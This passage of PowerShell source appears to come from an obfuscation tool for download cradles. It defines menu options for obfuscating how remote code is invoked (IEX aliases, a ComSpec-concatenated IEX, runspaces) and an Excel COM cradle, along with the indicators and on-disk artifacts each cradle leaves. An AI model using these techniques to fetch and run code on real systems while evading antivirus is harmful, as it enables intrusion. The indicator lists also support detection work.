$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '1' , " No Invoke --> For <testing> download sans IEX" , @('Out-Cradle', $CradleType, 'Invoke', 1))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '2' , " PS IEX --> <IEX/Invoke-Expression>" , @('Out-Cradle', $CradleType, 'Invoke', 2))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '3' , " PS Get-Alias --> <Get-Alias>/<GAL>" , @('Out-Cradle', $CradleType, 'Invoke', 3))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '4' , " PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Invoke', 4))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '5' , " PS1.0 GetCmdlet --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 5))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '6' , " PS1.0 Invoke --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Invoke', 6))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '7' , " ScriptBlock+ICM --> <ICM/Invoke-Command/.Invoke()>" , @('Out-Cradle', $CradleType, 'Invoke', 7))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '8' , " PS Runspace --> <[PowerShell]::Create()> (StdOut)" , @('Out-Cradle', $CradleType, 'Invoke', 8))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '9' , " Concatenated IEX --> <.(`$env:ComSpec[4,15,25]-Join'')>" , @('Out-Cradle', $CradleType, 'Invoke', 9))
$MenuLevel_Memory_PsComWord_Invoke += , @($LineSpacing, '10' , " Invoke-AsWorkflow --> <Invoke-AsWorkflow> (PS3.0+)" , @('Out-Cradle', $CradleType, 'Invoke', 10))
$MenuLevel_Memory_PsComWord_All = @()
$MenuLevel_Memory_PsComWord_All += , @($LineSpacing, '1' , "Execute <ALL> Token obfuscation techniques (random order)" , @('Out-Cradle', $CradleType, 'All', 1))
# Set values for Show-MenuContext to be displayed when each new cradle type is entered into.
$MenuContext_Memory_PsComExcel = @()
$MenuContext_Memory_PsComExcel += , @('Name ','PsComExcel')
$MenuContext_Memory_PsComExcel += , @('Description ','PowerShell leveraging Microsoft Excel via COM Object interactions')
$MenuContext_Memory_PsComExcel += , @('Compatibility','PS 2.0+')
$MenuContext_Memory_PsComExcel += , @('Dependencies ','Excel.exe')
$MenuContext_Memory_PsComExcel += , @('Footprint ','.URL file and cached file(s) on disk')
$MenuContext_Memory_PsComExcel += , @('Indicators ',@('svchost.exe spawns excel.exe','excel.exe makes network connection instead of powershell.exe','A/V can flag on cached file(s) on disk'))
$MenuContext_Memory_PsComExcel += , @('Artifacts ',@('C:\Windows\Prefetch\EXCEL.EXE-********.pf','\AppData\Roaming\Microsoft\Windows\Recent\*.URL file','\AppData\*\(Temporary Internet Files|INetCache)\*.txt'))
$MenuContext_Memory_PsComExcel += , @('User-Agent ',@('Microsoft Office Word *','Microsoft Office Existence Discovery','Mozilla/* (compatible; MSIE *; Windows NT *; Win64; x64; Trident/*; .NET* .NET CLR *; ms-office; MSOffice *'))
$CradleType = 12
$MenuLevel_Memory_PsComExcel = @()
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Rearrange' , '<Rearrange> syntax structure')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Cmdlet ' , '<New-Object>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Cmdlet2 ' , '<Start-Sleep>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Method ' , '<Open>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Method2 ' , '<Item>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Flag ' , '<-C[omObject]> (flag substring)')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property ' , '<DisplayAlerts>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property2' , '<Busy>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property3' , '<Workbooks>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property4' , '<Range>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property5' , '<UsedRange>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property6' , '<Rows>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property7' , '<Count>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Property8' , '<Value2>/<Formula>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Class ' , '<[Runtime.InteropServices.Marshal]>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Boolean ' , '<$False>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Join ' , '$Array<-Join"`n">')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Newline ' , '<"`n">/<[Char]10>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'Invoke ' , '<IEX>')
$MenuLevel_Memory_PsComExcel += , @($LineSpacing, 'All ' , 'Select <All> choices from above (random order)')
$MenuLevel_Memory_PsComExcel_Rearrange = @()
$MenuLevel_Memory_PsComExcel_Rearrange += , @($LineSpacing, '1' , "Default --> <Default> syntax arrangement" , @('Out-Cradle', $CradleType, 'Rearrange', 1))
$MenuLevel_Memory_PsComExcel_Rearrange += , @($LineSpacing, '2' , "Random-Variable --> <Random> variable names and syntax" , @('Out-Cradle', $CradleType, 'Rearrange', 2))
$MenuLevel_Memory_PsComExcel_Cmdlet = @()
$MenuLevel_Memory_PsComExcel_Cmdlet += , @($LineSpacing, '1' , "PS New-Object --> <New-Object>" , @('Out-Cradle', $CradleType, 'NewObject', 1))
$MenuLevel_Memory_PsComExcel_Cmdlet += , @($LineSpacing, '2' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'NewObject', 2))
$MenuLevel_Memory_PsComExcel_Cmdlet += , @($LineSpacing, '3' , "PS1.0 GetCmdlets --> <`$ExecutionContext...>" , @('Out-Cradle', $CradleType, 'NewObject', 3))
$MenuLevel_Memory_PsComExcel_Cmdlet2 = @()
$MenuLevel_Memory_PsComExcel_Cmdlet2 += , @($LineSpacing, '1' , "PS Start-Sleep --> <Start-Sleep -Seconds 1>" , @('Out-Cradle', $CradleType, 'Sleep', 1))
$MenuLevel_Memory_PsComExcel_Cmdlet2 += , @($LineSpacing, '2' , "PS Sleep --> <Sleep -Se 1>" , @('Out-Cradle', $CradleType, 'Sleep', 2))
$MenuLevel_Memory_PsComExcel_Cmdlet2 += , @($LineSpacing, '3' , "PS Get-Command --> <Get-Command>/<GCM>" , @('Out-Cradle', $CradleType, 'Sleep', 3))
$MenuLevel_Memory_PsComExcel_Cmdlet2 += , @($LineSpacing, '4' , "PS1.0 GetCmdlets --> <`$ExecutionContext>..." , @('Out-Cradle', $CradleType, 'Sleep', 4))
$MenuLevel_Memory_PsComExcel_Method = @()
$MenuLevel_Memory_PsComExcel_Method += , @($LineSpacing, '1' , "Open --> <Open>" , @('Out-Cradle', $CradleType, 'Open', 1))
$MenuLevel_Memory_PsComExcel_Method += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Properties>" , @('Out-Cradle', $CradleType, 'Open', 2))
$MenuLevel_Memory_PsComExcel_Method2 = @()
$MenuLevel_Memory_PsComExcel_Method2 += , @($LineSpacing, '1' , "Item --> <Item>" , @('Out-Cradle', $CradleType, 'Item', 1))
$MenuLevel_Memory_PsComExcel_Method2 += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Properties>" , @('Out-Cradle', $CradleType, 'Item', 2))
$MenuLevel_Memory_PsComExcel_Flag = @()
$MenuLevel_Memory_PsComExcel_Flag += , @($LineSpacing, '1' , "Full Flag --> <-ComObject>" , @('Out-Cradle', $CradleType, 'ComObjectFlag', 1))
$MenuLevel_Memory_PsComExcel_Flag += , @($LineSpacing, '2' , "Flag Substring --> <-C[omObject]>" , @('Out-Cradle', $CradleType, 'ComObjectFlag', 2))
$MenuLevel_Memory_PsComExcel_Property = @()
$MenuLevel_Memory_PsComExcel_Property += , @($LineSpacing, '1' , "DisplayAlerts --> <DisplayAlerts>" , @('Out-Cradle', $CradleType, 'DisplayAlerts', 1))
$MenuLevel_Memory_PsComExcel_Property += , @($LineSpacing, '2' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'DisplayAlerts', 2))
$MenuLevel_Memory_PsComExcel_Property2 = @()
$MenuLevel_Memory_PsComExcel_Property2 += , @($LineSpacing, '1' , "Busy --> <Busy>" , @('Out-Cradle', $CradleType, 'Busy', 1))
$MenuLevel_Memory_PsComExcel_Property2 += , @($LineSpacing, '2' , "PS PsObject --> <.PsObject.Properties>" , @('Out-Cradle', $CradleType, 'Busy', 2))
$MenuLevel_Memory_PsComExcel_Property2 += , @($LineSpacing, '3' , "PS Get-Member --> <| Get-Member>" , @('Out-Cradle', $CradleType, 'Busy', 3))
$MenuLevel_Memory_PsComExcel_Property3 = @()